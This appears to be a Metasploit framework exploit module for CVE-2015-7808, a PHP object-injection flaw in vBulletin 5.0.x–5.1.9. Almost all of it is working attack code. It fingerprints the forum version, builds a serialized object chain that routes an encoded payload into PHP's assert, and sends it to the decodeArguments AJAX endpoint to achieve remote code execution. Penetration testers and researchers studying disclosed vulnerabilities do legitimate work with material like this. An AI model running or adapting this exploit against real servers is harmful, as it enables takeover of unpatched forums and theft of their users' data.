vBulletin 5.1.2 Unserialize Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'vBulletin 5.1.2 Unserialize Code Execution',  
'Description' => %q{  
This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9  
},  
'Platform' => 'php',  
'License' => MSF_LICENSE,  
'Author' => [  
'Netanel Rubin', # reported by  
'cutz', # original exploit  
'Julien (jvoisin) Voisin', # metasploit module  
],  
'Payload' =>  
{  
'BadChars' => "\x22",  
},  
'References' =>  
[  
['CVE', '2015-7808'],  
['EDB', '38629'],  
['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'],  
['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/']  
],  
'Arch' => ARCH_PHP,  
'Targets' => [  
[ 'Automatic Targeting', { 'auto' => true } ],  
['vBulletin 5.0.X', {'chain' => 'vB_Database'}],  
['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],  
],  
'DisclosureDate' => 'Nov 4 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])  
], self.class)  
end  
  
def check  
begin  
res = send_request_cgi({ 'uri' => target_uri.path })  
if (res && res.body.include?('vBulletin Solutions, Inc.'))  
if res.body.include?("Version 5.0")  
@my_target = targets[1] if target['auto']  
return Exploit::CheckCode::Appears  
elsif res.body.include?("Version 5.1")  
@my_target = targets[2] if target['auto']  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Detected  
end  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status("#{peer} - Trying to inferprint the instance...")  
  
@my_target = target  
check_code = check  
  
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears  
fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance")  
end  
  
if @my_target.nil? || @my_target['auto']  
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")  
end  
  
print_status("#{peer} - Exploiting #{@my_target.name}...")  
  
chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:'  
chain << @my_target["chain"].length.to_s  
chain << ':"'  
chain << @my_target["chain"]  
chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'  
chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}"  
  
chain = Rex::Text.uri_encode(chain)  
chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding  
  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'),  
'vars_get' => {  
'arguments' => chain  
},  
'encode_params' => false,  
})  
end  
end  
`